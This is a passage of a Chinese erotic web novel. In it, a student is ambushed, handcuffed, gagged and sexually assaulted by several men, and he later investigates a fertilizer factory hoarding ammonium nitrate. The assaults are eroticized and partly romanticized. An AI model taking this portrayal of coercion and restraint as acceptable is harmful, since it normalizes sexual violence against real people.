月光描摹着他的轮廓,但却没有丝毫温度,反而衬得那双眼睛愈发阴鸷。他比贺衍高出半个头,此刻微微垂眸,目光落在了贺衍的脸上。 贺衍的呼吸一滞,本能地后退半步,心跳却不受控制地加速。 他现在的状态,不可能打得过岑靳。 逃! 这是他脑子里唯一的念头。 贺衍加快脚步离开,他走得很快很急,几乎跑了起来。 就在他快要跑出窄径的时候,脊背忽然窜起一阵战栗,一只有力的手从背后扣住他的手腕! 贺衍反应极快,但这些动作都岑靳轻易地化解了。 对方一个旋身捂住了他的嘴,把他拖到了树林的深处。 贺衍被按在了树干上,粗糙的树皮隔着衬衫磨得他后背生疼。 “放开!”贺衍咬牙,抬膝顶向岑靳的腹部。 岑靳闷哼一声,却纹丝不动。 他单手扣住贺衍的两只手腕,另一只手从腰间摸出了一副手铐,“咔嗒”一声,冰凉的金属圈住了贺衍的腕骨。 “你TM——” 贺衍的怒骂被堵在喉咙里,领带被团成一团塞到了他的嘴里。 岑靳将他翻了过来,胸膛紧贴着他的后背,灼热的呼吸喷在他的耳畔。 黑暗中一切的轮廓模糊不清,只有月光零星地漏进来,照出两人的身影。 第90章 第 90 章 他在做梦? 手被金属的手铐拷着, 他的挣扎在这种时候下显得有些徒劳,岑靳突然顿住了。 那里有一道新鲜的咬痕。 岑靳的呼吸一滞,手指狠狠掐住贺衍的腰:“谁?” 贺衍因为他的动作疼得吸气, 但身体却不受控制的颤了起来, 冷笑道:“关你屁事。” 这句话彻底点燃了岑靳的怒火,他的动作粗暴得像是在拆卸某种武器。 “那个男人是谁。”岑靳的声音沙哑得可怕, 他扯掉了贺衍嘴里的领带,动作却愈发凶狠,“是杭凌一吗,你最近几乎每天都要去见他。” “你脑子还真是有病,岑靳。”贺衍嗤笑了一声, 只是声音发颤。 岑靳咬住贺衍的后颈, 尝到了一丝的血腥味:“我会把你洗干净。” 晚风卷起树叶, 沙沙的声响掩盖住了其他声音。 舌尖交缠,贺衍狠狠咬了下去,尝到了些许的铁锈味, 却只换来更凶狠的掠夺。 他低着岑靳的肩膀,想要挣脱, 却被掐着腰按得更紧了。 岑靳的吻比之前还要凶,长驱直入, 血腥味在口腔蔓延, 几乎快把贺衍肺里的空气榨干了。 破碎的咒骂被碾碎在交缠的唇齿间。 黑色的制服已经被抓出了凌乱的褶皱, 男人突然放轻了力道, 拇指抚上了贺衍被咬肿的下唇。 暴虐的亲吻突然变成了羽毛般的轻触,岑靳用舌尖一点点舔去自己造成的伤口,像猛兽在给猎物止血。 “疼吗?”岑靳的鼻尖蹭过贺衍泛红的眼尾。 贺衍别过脸喘气,后颈却被扣住了。 这次落在唇上的吻轻得像叹息, 岑靳用唇瓣摩挲着他破皮的嘴角,方才的暴戾荡然无存,只剩下某种近乎虔诚的温柔。 血的味道在缠绵的舔舐中渐渐变淡,只剩下交错的呼吸声越来越重。 又换了姿势。 贺衍被抵在粗糙的树干上,手腕上的金属手铐硌得生疼。喘息喷在他耳后,灼热的体温透过衣料传来,让他浑身发抖。 就在岑靳俯身咬住他肩膀的瞬间,贺衍猛地抬起手铐,尖锐的棱角狠狠砸向岑靳。 “砰!” 岑靳的动作骤然停滞,瞳孔微微扩散,随即重重倒在了他的身上。岑靳可能随时会醒过来,他需要快点离开这里。 贺衍剧烈地喘息着,他缓了一会儿,身体终于有了些许的力气。 贺衍探了探岑靳的呼吸,随后翻找起了钥匙。 钥匙在他的制服口袋里。 贺衍的手指颤抖得几乎握不住,他低头咬住了钥匙。 这里太暗了,只有月亮微弱的光线。 贺衍试了三次才对准锁孔,“咔嗒”一声,手铐终于松开了。 他踉跄着推开岑靳的身体,双腿发软,几乎站不稳。 贺衍扶着树干,跌跌撞撞地冲进宿舍区。 手机仓皇之间从口袋里掉落,但贺衍一无所察。 冷风灌进他敞开的领口,他眼前阵阵发黑,却完全不敢停下脚步。 宿舍只有五十米不到了。 贺衍喉结滚动,拐角处突然撞上了一堵人墙。 这是一个很高的男人,戴着墨镜,比贺衍要高大半个头。 男人身上的风衣面料擦过不经意间擦过了贺衍的手腕,激起了一阵战栗。 贺衍根本没有把他跟认识的人联系起来。 “抱歉,请让一让。” 贺衍的声音嘶哑得不像话,抬头时,碎发黏在汗湿的额前,但他的身体还在轻颤,像是在硬撑。 但对方纹丝不动。 男人望着贺衍,唇角扬起,却没有丝毫笑意。 “哥哥好狼狈啊。”轻佻的嗓音像是毒蛇钻进了耳膜。 贺衍猛地抬头,正对上男人摘下墨镜后露出的眼睛,墨黑的瞳孔在暗处泛着野兽般的幽光,那张脸比电影海报上还要醒目。 他想甩开对方的手,却被更用力地扣住了腰,风衣将他整个人裹住了。 贺衍的呼吸骤然急促,眼前发黑,忽然有种天旋地转的感觉。 贺琚原来有这么高吗? 挣扎间,领口被扯得更开,露出锁骨上新鲜的咬痕。 “哥哥,”贺琚的拇指碾过那处红痕,声音却温柔得瘆人,“被狗咬了都不知道打狂犬疫苗吗?” 贺衍眼前炸开一片片黑白噪点。 他晕了过去。 …… 柔软的地毯将走动的声音全部吸收。 贺衍像是被蟒蛇吞到了胃里,浑身上下都是黏腻的感觉。 他睁开了沉重的眼皮。 这是一间灰色调的房间。 触觉的恢复远远晚于视觉,直到他听到一声轻笑,才意识到自己被捆在了一张柔软的皮质椅子上。 贺琚就坐在对面,对着他笑。 贺衍试图说话,可嘴里被塞了一个黑色的球,小球抵住了舌根,他什么话都说不出来。 “他们都太粗鲁了,怎么能这么对哥哥呢。” 贺琚忽然单膝跪在了他的面前,轻声说道:“我会让哥哥开心的。” 他在说什么。 贺衍的意识浮沉。 他垂眸看着跪在自己面前的贺琚,朦胧的意识像是浮在了水中,有种失重感。 贺琚低下头。 微卷的发梢从他的耳后滑落,不经意扫过了因为温度而已经开始有些融化的冰棒上。 冰棒是粉色的,比一般的那种还要大要长,看起来很好吃的样子。 贺琚很喜欢吃,嘴角都是亮晶晶的水痕。 但贺衍不喜欢。 可他没有选择的余地,他只是颤了一下,嘴里的圆球堵住了他的声音,只是在鼻息间发出了一声闷哼。 贺琚轻笑了一下。 “是谁把哥哥弄成这个样子的呢?我好不喜欢。” 贺琚喃喃自语,随后又笑了下:“没关系,我不介意的。” 贺琚舔了下,看着贺衍说道:“哥哥知道我为什么想当演员吗?” 与此同时,铜海大学101宿舍。 黄弘资又输了一盘游戏,队友正在耳机里骂他。 他撇了撇嘴,把耳机摘了下来,打算过一会儿再开一盘。 黄弘资看了眼时间,皱起了眉头,真是奇了怪了,平常这个时候,贺衍去实习应该回来了啊,怎么到现在还是连个人影都没有。 距离门禁还剩下一个小时。 黄弘资犹豫了一下,打算再过半个小时给贺衍打个电话。 十一点是门禁时间,在这之间不回来,就回不到宿舍了。 一公里外,天寰壹号公寓。 灰色调的房间,冰冷的色调无法阻挡逐渐蔓延的热意。 贺衍张着嘴,眼神涣散,呼吸炽热,嘴里的球被他含热了,几乎和口腔的温度一样了。 什么也说不出来。 什么也无法说出来。 没有听到回答,贺琚有些不满地握紧了手。 他盯着贺衍,忽然神经质地笑了一下,拿着根部,轻轻咬了下冰棒的尖。 “我也想和哥哥说话,可惜哥哥完全不希望见到我。”贺琚的声音又低落了下去,“哪怕是在梦里,应该也没有我的影子。” 贺琚眉眼弯弯:“算了,我说这么多,哥哥大概等不及了。那我就开始享用了。” 他的喉咙发出了吞咽的轻哼声。 星河湾宿舍区。 已经是十点半了。 黄弘资再次检查了一遍手机消息,确定没有看到贺衍发过来的任何信息。 他眼睛眨了几下,拨通了贺衍的电话。 但是直到电话被自动挂断,也没人接通。 黄弘资不死心地又打了一遍,这次,电话被接通了。 “贺衍,你怎么还不回宿舍,马上就要到门禁了。” 对面没有立刻说话。 黄弘资揉了揉头发,奇怪地问道:“贺衍,你怎么不说话?” “你是他的舍友?”低沉暗哑的声音忽然从手机里传出来,黄弘资吓得手机都差一点摔倒地上。 这谁啊。 黄弘资眨巴眨巴眼:“你是?” “他的手机不小心掉到地上了,我捡到了。” “哦哦,这样啊,那我先替贺衍谢谢你。不过他现在不在,你在哪里捡到的手机?” 电话那他又沉默了一下。 黄弘资蹙眉。 对面那人会不会是偷手机的小偷,本来贺衍手机可能被对方强制关机了,没想到一开机就接到了电话,迫不得已之下才接通。 “你和他都住在星河湾宿舍区?我把他的手机放到你们宿舍一楼的宿管那里。” 黄弘资脑子嗡了一下,顿时羞愧,他刚才居然这么恶意地揣测别人。 同一时间,天寰壹号公寓。 贺琚吃的冰棒已经融化了,乳白色的奶油融化,落在了贺琚的手上。 贺衍坐在椅子上,呼吸沉重。 他的眼睛发直,身体紧绷,脊背弓直,脚趾也蜷缩起来,但因为四肢的束缚,他最后只是无力地再次靠在了椅背。 贺琚看着贺衍笑了,一点点地舔干净了手上残留的奶油。 “哥哥也想尝尝这个味道吗?” 贺琚站了起来,狭长的眉眼里满是欲色,他掐着贺衍的脸,强迫他张开嘴,亲了上去。 意识彻底陷入黑暗前,他听到耳边的声音低叹。 “就当是一场梦吧,哥哥。” 黄弘资挂断电话,急匆匆地冲出去。 星河湾一号楼,一楼大厅的宿管桌子上,的确放着一部手机。 那的确是贺衍的手机。 黄弘资把手机拿回了宿舍,放到了贺衍的书桌上。 估计贺衍现在应该在外面找手机,不过等到十一点前,他肯定会回来。 黄弘资安下了心,又打开游戏冲锋了起来。 十点五十五分,终于赢了一次,黄弘资激动地蹦了起来,头撞到了栏杆。 “艹,真疼。” 他揉了揉头,十点五十五了,贺衍咋还没回来。 他摘了耳机,正准备去附近找一找贺衍的时候。 宿舍的大门被敲响了。 “贺衍,你终于回来了。你的手机在——” 黄弘资的声音被掐断了,门外是一个个子很高的男人,戴着墨镜和口罩,贺衍被他搂在怀中,脸色红润,看起来跟喝醉了一样。 黄弘资愣在原地,看着男人扶着贺衍的肩膀走进了宿舍内。 几乎不需要黄弘资指路,男人就准确地拉开了贺衍位置上的桌子。 贺衍趴在了桌子上。 黄弘资警惕地看着这个比他要高一个头的男人:“你是谁,贺衍怎么回事,他喝醉了吗?” “如果他明天醒了,麻烦你不要告诉他,是我送他回来的。” 黄弘资汗毛竖起,更加警惕:“你是谁?凭什么不让说,大晚上的还戴着墨镜——” 话还没说完,黄弘资就听见对面传来了一声苦笑。 黄弘资心里一紧,但下一秒,他的眼睛就睁大了。 男人摘下了口罩和墨镜。 黄弘资嘴巴大的能塞下几个鸡蛋,这不是他喜欢的那个女生的壁纸封面。 黄弘资震惊地指着男人,半晌没说出话来:“你……你是行水?!!” 贺衍猛地睁开眼,冷汗浸透了后背。 身后披着的薄毯随着他的动作滑落,他还穿着昨晚的衣服。 窗外晨光熹微,桌面的台灯散发着暖黄的灯光,宿舍里还回荡着黄弘资均匀的鼾声。 现在才六点不到,他比平时早醒了一个多小时。 所以,他这是趴在桌子上睡了一整夜? 贺衍身体僵硬,浑身上下的肌肉都在叫嚣着酸涩难耐。 是在做梦? 可那些残留的触感还在皮肤上灼烧。 贺衍抬手摸了摸自己的嘴唇,恍惚间似乎还能尝到血腥味。 他倏地收回手,喉结艰难地滚动了一下。 贺衍撑着桌面慢慢坐了起来,额前的碎发被冷汗打湿,凌乱地贴在苍白的脸颊上。 他推开了洗手间的门,镜子里映出他此刻的模样,衬衫被扣到了最上面。 除了可能是刚睡醒,眼尾有些泛红。 下唇有一道不自然的咬痕,但也可能是他自己睡觉的时候咬的。 好像一切都很正常。 他扯开了扣子。 “……艹。”他对着空荡荡的宿舍低咒一声,一拳砸在瓷砖墙上。 洗手间的水龙头开到了最大,贺衍将脸埋进冰冷的水流,直到氧气耗尽才抬起头。【你现在阅读的是 】 90-100 第91章 第 91 章 与其被狗咬,不如狗咬狗…… 第91章 已经是上午十点多了, 阳光穿过窗户缝,刚好照到了黄弘资眼皮上,没有早八真爽啊。 黄弘资又翻了个身, 他眯着眼摸到手机看了下时间, 结果消息框里弹出来的却又是一条社会新闻:[奎尔丹尼州某地区发生爆炸,这是近两年来, 联邦地区发生的……] 怎么又爆炸了,黄弘资不感兴趣地叉掉消息,坐起来伸了个懒腰,打了个大大的哈欠。 记忆只停留在跑出窄径的那一刻,他完全没有自己回到宿舍的画面。贺衍冷不丁地出声问道:“你还记得我昨晚是怎么回来的吗?” 黄弘资的哈欠打了一半, 他朝着发声的地方看去, 贺衍站在宿舍中间, 面无表情地看着自己。 黄弘资脑子反应了一两秒才说:“我那时候在打游戏,听见开门的声音,扭头的时候就看到你已经趴桌子那里睡着了。我喊也喊不醒你, 就给你找了毯子盖上。” 他这也不算说谎,只是选择性地隐藏了一些没说。 行水说贺衍是他哥哥, 但因为父母的原因,贺衍对他并不是很亲近。他不希望贺衍因为自己的原因再生气, 所以拜托自己不要告诉贺衍是他送贺衍回来的。 黄弘资摇了摇头, 倒也不是他轻易相信别人, 但一个大明星, 手里还有一堆和贺衍的合照,有必要骗自己这种小人物吗。 贺衍淡淡道了声谢。 黄弘资不过眨眼的工夫,贺衍就消失不见了。 星河湾宿舍不远处的树林,这是一片枫树林, 九月的枫树林尚未染上秋色,茂密的绿叶在晨风中沙沙作响。 阳光穿过叶隙,在泥地上投下斑驳的光影。 岑靳很明显已经不在这里了。 贺衍捡起地上一片提前掉落的枫叶,忽然握拳碾碎了这片叶子。 按照他现在的身体素质,在岑靳手底下过一招都过不了。 贺衍手背上的青筋暴突,他眯了下眼,他实在厌倦这种任人宰割的生活了。 他现在这种可笑的样子,连自己都厌恶。 手机在口袋里震动,贺衍伸开了手,任由枫叶从掌心掉落。 “阿衍,该做治疗了。” 鄢忬的声音透过手机传来,带着不容拒绝的沉稳:“我在办公室等你。” 贺衍盯着那片被他蹂躏的皱皱巴巴的叶子,无声嗤笑了下:“今天停一次。” 电话那头沉默了一瞬,紧接着传来了打火机开盖的脆响声:“阿衍,别闹。如果你不愿意去办公室,去我家也行。一会儿我过去接你。” 枫叶在头顶沙沙作响。 贺衍眸色晦暗,他勾起唇角,眼里却一片冷意:“不用接我,我去你家找你。” 与其被狗咬,不如狗咬狗。 铜海大学家属院。 贺衍走进了一栋单元楼内,鄢忬的公寓在六楼。 前天,鄢忬给他一把备用钥匙。 贺衍走到公寓门前,忽然停下了脚步。 他微微垂眸,把衣领扯得更大了一点,露出了部分颈侧的咬痕,那是岑靳留下的。 那些淤血泛着红,在冷白的皮肤上格外显眼。 他打开了门,刚推开门,发现鄢忬就站在玄关那里。 鄢忬的手抚上了他的发丝,很重又很轻,他的手顺着脸颊滑下,落在了颈侧。 指腹重重地擦过他颈侧的齿痕,鄢忬眸色幽暗,自从来到这里之后,他从不会在贺衍的脖子上留下痕迹。 “阿衍,你的脖子上是怎么回事?” 贺衍被反身按在了玄关镜前,镜面映出了两人的身影。 贺衍没有反抗。 他垂着眼睛,盯着地面,眼里闪过几丝讥诮。 鄢忬掐住他下巴,强迫他抬起头,指腹在他破皮的嘴角摩挲,另一只手扯开了他本就已经敞开的衣领,露出了身上的暧昧的痕迹。 那些痕迹的走向与鄢忬的习惯完全不同。 “阿衍,我是不是告诉过你,不要让其他人碰你。” 贺衍感受着腿间勃发的热度:“我今天不想——” 鄢忬的语气有些危险,墨绿色的眼眸翻滚着汹涌的暗色。他把贺衍拦腰抱起,扔到了卧室的床上。 “那个人是谁?” “这里……还有这里……” 鄢忬揉搓着他眼下的泪痣,指尖划过每一处痕迹,最后停在腿根处:“阿衍,这里他也碰了吗?” 贺衍无声笑了下:“是又怎么样呢,他该做的都做了。” 那双眼睛忽然看向了鄢忬,满是自嘲地说道:“叔叔,岑靳不是和你一样,在治疗我?” 贺衍扯了扯嘴角,语气明明带着强烈的攻击性,可他的神色太脆弱了,整个人都在发抖,眼尾泛着红,睫毛颤抖,几乎一碰就碎。 酸涩感顺着胸口蔓延到了指尖,鄢忬却愣在了原地,轻轻抱住了他:“阿衍,告诉我发生了什么。” 贺衍却转身背对着他,喉间溢出了半真半假呜咽。 事后鄢忬替他清理时,贺衍趴在枕头上闷声说:“他以后还会来怎么办。” “让他来。”鄢忬将沾满浊液的棉签扔进垃圾桶,声音森然:“正好新账旧账一起算。” 贺衍把脸埋进枕头,藏起嘴角的冷笑。 或许是因为身体太累,他睡了过去。 鄢忬望着他,心里的某个部分忽然软了下去。 日落时分,贺衍从梦中醒了过来。大脑一时间还有些昏沉,他的神情恍惚,直到从床上走了下来。 肌肉带来的酸胀感让他瞬间清醒。 贺衍穿上了床头放着的衣服,刚好合适的尺寸。 “阿衍,今天不在这里多待一会儿吗?” 鄢忬的声音很轻很柔,似乎害怕什么东西碎了一样。 贺衍垂眸摇头:“我想回宿舍休息,不用送我了。” 接下来的很长一段时间,他没再见过岑靳。 周日上午,贺衍挂了铜海医院。 这家医院在姆扎州也称得上数一数二,但贺衍其实并没有抱太大希望。 挂号,看病,抽血化验。 贺衍把检查结果递给这位上了年纪的老医生,医生姓吴,叫吴健凯。 吴健凯看着他的单子,听着贺衍讲述的问题,眉头皱得很紧。 他抿着唇,然后摇了摇头:“我没见过你这种症状,如果让我给你开药,可能开得也是那些你已经吃过的药。可如果按你说的那样,这些药对你也不会有作用。” 就在贺衍准备失望离开的时候,吴健凯忽然开口:“你再去其他医院看看,如果还是没有办法,你可以试试针灸。” 贺衍眨了眨眼,针灸?中医? “这是姆扎州传统的医学方法,其实传统医学并不差,但是因为和近些年来推崇的医学治疗体系不一样,所以很早之前就被废弃了。现在还干这个的不多了,大部分都转行了。”他叹了口气,继续说道:“如果你真的想治疗,可以去试试。” 医生撕了一张病历单,写下了那个地方的地址。 铜海市泽伊区阳岗县,阳岗针灸馆。 这个地方,距离铜海市中心有四五十公里。 贺衍从医院离开,便打了出租直接前往城际高铁。 一个小时后,贺衍从阳岗站下车离开。 这是一个很空旷的高铁站广场,只有马路边有几个卖小吃的摊贩,连马路上都没几辆车经过。 贺衍点开网约车软件,但没有司机接单。 贺衍走到一个小吃摊前,礼貌地问路:“阿姨,请问您知道怎么去阳岗针灸馆吗?” “针灸馆?你这个城市娃娃怎么知道那个地方,那里离这里还有十几公里嘞,你在这里等一会儿,每隔半小时会有一辆公交车到站,到时候你坐上那个公交车,坐到最后一站,然后再下去找其他人问路。” 贺衍道谢,又问道:“阿姨,是做那一辆公交车?” 说话的阿姨指了指公交车站牌:“我们这里只有一辆公交车啦。你去哪里等就好了,不过你出站得有点晚,刚才刚走了一辆,你得再等半个小时才有下一辆。” 半个小时后,贺衍坐上了公交车,车又开了一个小时,到了终点站。 终点站是阳岗县乡交界处。 阳岗针灸馆就在这里。 这是一个有些年头略显斑驳的大门,门脸不大,用塑料大字贴着针灸馆这三个大字,除此之外就没有别的东西了。 贺衍推开大门,铜铃在头顶发出了清脆的声响。 坐在药柜前的是一对年纪偏大的夫妻。 男人身材清瘦,鬓角微白;女人是一张圆脸盘,眼角堆着笑纹,看着很和善,腰间还系着的围裙上沾着几点药渍。 空气中浮动着艾草与当归混合的苦涩清香,贺衍有种恍如隔世的熟悉感。 “看诊?” 贺衍点了点头。 “我姓林,”男医师指了指身侧的妇人,“这是我内人,姓苏。” 贺衍沉默地伸出手腕。 林医师的指尖搭在他的脉门上,眉头渐渐蹙起,轻重交替地按压着他的脉络。 半晌,他与妻子交换了一个眼神。 苏医师观察着贺衍的面相,忽然轻声道:“相火妄动,兼有肝肾阴虚之象。” 林医师点头:“你最近是否常有潮热盗汗?你平日与他人接触的时候,是否易有情动难抑之症?” 贺衍的睫毛颤了颤,他点了点头。 问诊持续了半个多小时。 苏医师领着贺衍走到后院,把门上的空闲中的牌子翻了过来。 “最近也有个年轻人每周都来,”苏医师一边捻针一边闲聊,“他看着和你差不多大。” “造孽哦,”苏医师摇头,“那么俊的后生,左眼却看不见了。” 贺衍所有的注意力都落在了那些刺进身体的针上,半点没注意到苏医师在说什么。 整个治疗过程持续了二十多分钟。 针尖刺入了穴位,贺衍突然觉得一股暖流从尾椎漫上来。那些绷紧酸胀的肌肉像是被温水化开了一样,连呼吸都变得松快起来。 可他形容不出来到底哪里不同,但又明显地能感觉到的确不一样了。 贺衍出声问道:“苏医师,我大概要针灸多少次,才能彻底好。” “每个人的情况都不一样,施一次针的效果只能是暂时的。” 似乎是看出了贺衍的沮丧,苏医师轻笑着摇头叮嘱道:“你先每周都来一次吧,下次还这个点来就行。短则月余,多则一年,会好的,放心吧。” 周三,经济学原理。 早上七点半,贺衍站在门外,忽然拦住了一个男生。 被拦住的男生正准备冲进教室占位置,忽然被拦住,就开始破口大骂:“你有病——啊,是贺衍同学,你有什么事情吗?” 贺衍说了什么,对面的人忽然发出惊喜的尖叫:“当然,我当然愿意当这节课课代表。但是,贺衍同学,你真的不打算做课代表了吗?” 贺衍点了点头,转身离开了教室。 十月中旬,周二,贺衍生日的前一天。 黄弘资这一天满课,贺衍也是差不多的情况。 因为他不想和拥挤的下课人潮一起吃饭,因此比黄弘资回来得晚一点。 他推开门的时候,黄弘资擦着湿漉漉的头发从卫生间出来,塑料拖鞋在瓷砖地上踩出啪嗒的声响:“你回来啦?你最近买挺多快递啊。” 他朝贺衍的座位努努嘴:“桌子上放了好几个。” 贺衍的目光扫过书桌上那几个包装精美的礼盒,墨绿色的缎面长方盒上扎着银丝带,牛皮纸包裹的方形件上还盖着火漆印,还有一个纯黑的礼盒上面还粘着一张烫金卡片。 他的眸色沉了下去,这些东西是怎么出现在房间里的。 “你回来的时候门是锁住的吗?” 黄弘资不是很清楚贺衍为什么问这个问题:“门是锁住的啊,怎么了?” 黄弘资擦头的动作顿住,忽然睁大眼睛:“你难道发现什么东西丢了?” “没丢,只是问一下。”贺衍摇头,但没解释太多,他只是直接拎起那堆礼物,一股脑塞进衣柜最底层。 黄弘资也没发现什么异常,正准备拿拖把拖地的时候,忽然瞥见贺衍放在衣柜把手上的手,指节发白,像是要把柜门捏碎一样。 手机震动,贺衍看了眼来电显示,挂断了鄢忬的电话。 周三上午,贺衍再次逃掉了鄢忬的课。 他一早就来到了法院。 杭凌一看到他今天来得这么早,惊讶地挑了下眉,但并没有多说什么。 “我记得今天你生日对吧。”杭凌一随意地问了句。 贺衍也随意地点了点头,连视线都没有从卷宗里抽出来。 杭凌一走过去敲了敲他的桌面:“走,今天带你去见一个人。” 贺衍终于抬眸,一脸疑惑:“见谁?” 杭凌一神色锐利,但淡金色的眸中却闪过笑意:“你还记得你之前问过我的那个化肥工厂吗。” 贺衍点了点头。 杭凌一将身后藏着的文件夹竖在桌面上敲了敲几下:“自从你说过那件事之后,我越想越觉得不对劲,便托人查了查,前天终于找到那位化肥工厂的厂长现在的住址了。” 贺衍的眼睛唰一下地就亮了起来,正准备拿走文件夹细看。 杭凌一却动作迅速地收回了手,他还煞有其事地摇了摇头,颇为可惜说道:“可惜你今天生日,不知道要和哪个人一起度过,应该不能和我一起去拜访那位当事人了。” 贺衍抽走他手里的文件夹,毫不客气地说道:“废话什么,我当然要去。” 杭凌一耸了耸肩:“看来你的生日没有佳人作陪了。” 贺衍斜了他一眼,低头翻开了文件夹。 但里面夹就一张纸,写着几个大字:贺衍,生日快乐! 贺衍脸黑了一瞬,又笑出了声。 杭凌一在一旁大笑出声,银发随着他的动作从耳边滑落,不经意地扫过了贺衍的脸庞。 贺衍扯下这缕碍事的头发,站起来挑眉看向杭凌一,一字一句地说道:“你刚才是在拿我开心?” 杭凌一勾了勾唇角,狭长的眸中满是笑意:“我不得搞清楚你今天到底有空没有吗?” “所以,这个生日礼物你还满意吗?未来的贺大律师。” 杭凌一开车离开高速,沿着侧路进入了一条县道。 最上面的牌子写着泽伊区阳岗县。 阳岗县的县城,看起来很破落,完全不能把这里和铜海联想起来,最高的建筑也不过是一些小区的十几层楼,很少能见到高楼大厦。人也很少,街道两旁的店铺只有一半开着。 贺衍看到熟悉的街道和建筑,神色有些古怪,但很快就恢复了正常。 杭凌一捕捉到了他这一瞬的变化:“你也觉得这里不太像铜海对吧。阳岗县的地下的矿物非常多,但现在已经被挖光了。几十年前,这里可以说是铜海最繁华的地方之一。” 贺衍睫毛颤了颤,点了点头。 第92章 第 92 章 糊成一团的生日蛋糕…… 第92章 这里是阳岗县下面的一个小村落, 地广人稀,整个村里最多只有十几户人家。 两人早上九点从铜海市中心出发,到这里的时候已经过去两小时了。 贺衍看着眼前破落的房子, 出声问道:“启鸿化肥厂每年的流水能有四五百万, 他应该不缺钱,怎么会住到这种地方。” “我们马上就会有答案了。” 杭凌一敲了敲门。 “请问郭启鸿在吗?” 一个络腮胡的大汉把门打开了, 和他外表凶狠的长相不同,大汉的声音很温和谦卑:“是杭法官吗?” 杭凌一点了点头。 “您怎么早就来了,快进来吧。”郭启鸿眉头皱起,有些戒备地看向贺衍,“不过您身后这位?” “他是我的助理, 是可以信赖的人。” 杭凌一语气平静, 但很快安抚了郭启鸿紧张的情绪。郭启鸿松了一口气, 对着贺衍也点了点头:“两位快请进。” 贺衍眉梢微动,看来这位郭厂长很信任杭凌一。 房间内的家具简陋,和一个曾经年利润高达几百万的化肥厂长的身份完全不匹配。 他倒了两杯开水放到了两人面前。 “当初市监局的人来视察后没过一周, 连通知都没有,我那家化肥厂的营业执照就被吊销了。后来我把手里的积蓄都用来请律师打官司了, 但钱没了,到最后官司也没打赢, 家也散了。” 他握紧拳头:“我把这些经历发到论坛求助, 没想到不止我一个人发生了这种情况。根据我目前的了解, 姆扎州有十几家工厂和他的情况类似, 别的州也有不少。” 郭启鸿将他搜集到的企业名单递给了两个人,神色依旧郁郁。 “去年这件事闹得其实很大,我们这些在姆扎州的企业联合了起来,一起上告到了联邦最高法院, 希望能得到公平的对待。但半路就被警察拦住,上诉也全部被驳了回来,后来,没过多久,当初的新闻报道也全都消失不见了踪迹。” 十几家工厂,类型各不相同,并不是所有工厂都属于郗氏化工。 但贺衍和杭凌一对视了一眼,眸色都同样暗了下去。 郭启鸿边摇头边说道:“两位能屈尊来这里,我不知道有多开心。但是我这个案子,应该没有翻案的可能了。” 杭凌一抿唇,他微眯了下眼。 贺衍问:“工厂原址还在吗,倒闭之后你回去看过吗?” 郭启鸿点头后又摇头:“最开始去过几次,后来官司了结,法院就在工厂大门上贴了封条,我进不去也就不再去了。一年多了,估计东西都废弃了。” 两人在这里吃了一顿午饭,下午一点多离开了郭启鸿家。 杭凌一眉头紧蹙,语气也很沉:“木材厂提供纤维素,食品添加剂厂可以提供敏化剂,再加上郭启鸿的化肥厂——” 贺衍接话:“完美的炸药三要素。” 车子驶上公路后,杭凌一才再次开口:“十几年前森总统上位后就严禁炸药技术流出,此后几届总统都延续这项政策。他们制造炸药的目的是什么?制造恐慌?” 贺衍敛眸,眉头紧锁:“我们看到名单能想到这些,其他人也一定能看到,但上诉却被驳回,联邦最高法院上诉的案件驳回有程序性的要求。如果当初真的闹得很大,最高法的官员一定也清楚,但现状却依旧是这样。” 杭凌一握着方向盘的手指微微收紧,父亲如果知情但依旧放任这件事,其中的利益勾结—— 贺衍不清楚杭凌一的纠结,他望向窗外飞逝的景色,忽然挑眉:“最高法都无法上诉,再加上这种情况,感觉事情越来越复杂了。联邦的最近的恐怖袭击可不少,特别是新一届的联邦总统上任之后。也不知道他们的目的是总统那个位置,还是别的什么。” 杭凌一忽然出声问道:“要去那里看看吗?” “当然,这不是来的路上就决定好的。” 贺衍掀了下眼皮,唇角挑起一抹笑,眼里闪过一丝跃跃欲试。 化肥工厂在阳岗县境内,但距离这个村庄并不近,而是在阳岗县的另一边,紧挨着一片连绵的山。 车窗外的景色逐渐荒凉,他们的车停在距离化肥工厂两公里外的树林边。 两个人伪装成来徒步的游客,戴上了帽子和防风口罩。 两个人远远地看了眼工厂大门。 法院封条已经氧化褪色,但依旧牢牢粘在工厂大门上,依稀能看到铁门已经出现了红色锈痕。 看起来的确是荒废了很长时间的样子。 工厂的围墙不算特别高,但周围围着一群防攀爬的铁丝,但年久失修,最外侧的铁丝网已经有部分出现了严重的锈蚀。 两人轻松翻了进去。 厂区内,面积不大的绿化带几乎被杂草全部占据,将厂房的正门挡得严严实实。 空旷的厂区内堆满了印有“化肥”字样的麻袋,上面几乎没有任何灰尘。 但这些东西,不可能出现在已经荒废的化肥厂里。 杭凌一俯身,仔细观察:“这些应该都是硝酸铵。” 贺衍眉头一皱,忽然拉住了准备继续往里面走的杭凌一,低声说道:“你有没有听到什么声音?工厂里面好像有人。” 贺衍正准备说什么,突然听到远处传来脚步声。 他一把拽住杭凌一的手腕,两人迅速躲到一堆麻袋后面。 几个穿着统一工装服的男人晃悠着过来,腰间别着对讲机。 为首的男人踢了踢地上的麻袋,骂骂咧咧地说道:“妈的,这批货今晚必须运走。昨天还说一周后才要呢,弟兄们才休息几天啊。” 贺衍和杭凌一对视一眼。 就在这时,两人脚边突然窜过一只野猫,碰倒了旁边的铁锹。“哐当”一声脆响,在寂静的厂区内格外刺耳。 “谁?!”领头的男人猛地转头,脚步向两人逼近。 贺衍当机立断:“跑!” 两人冲向铁丝网,身后传来杂乱的脚步声和叫骂。 贺衍翻越铁丝网时,袖子被铁丝卡住,手臂被划伤了,他猛地一扯,布料刺啦一声撕裂。 “站住!” 身后,那些穿着工装服的三个人已经追了上来,厂区的大门那里,又有十几个人正在往这个方向跑。 贺衍眼神一冷,转身一个侧踢,直接将最前面的人踹飞出去。另外两人紧接着就扑了上来,贺衍灵活地闪开,直接膝撞开两个人,动作干净利落,招招直奔要害。 杭凌一跳下围墙,往前跑了几米,才发现贺衍没有跟着出来。他转身折回,不过眨眼的工夫,贺衍已经翻墙出现在了眼前。 杭凌一看见贺衍的手臂已经开始大面积的渗血,眼神瞬间阴沉,他上前一步抓住贺衍的手腕:“走!” 两人狂奔到停车处,身后忽然传来了引擎的轰鸣,对方开车追来了。 杭凌一猛踩油门,汽车在崎岖的土路上颠簸。 贺衍透过后窗,看到两辆黑色SUV紧追不舍。 “坐稳了。”杭凌一突然急打方向盘,车子冲进一条狭窄的林间小道。树枝刮擦着车身,发出刺耳的声响。 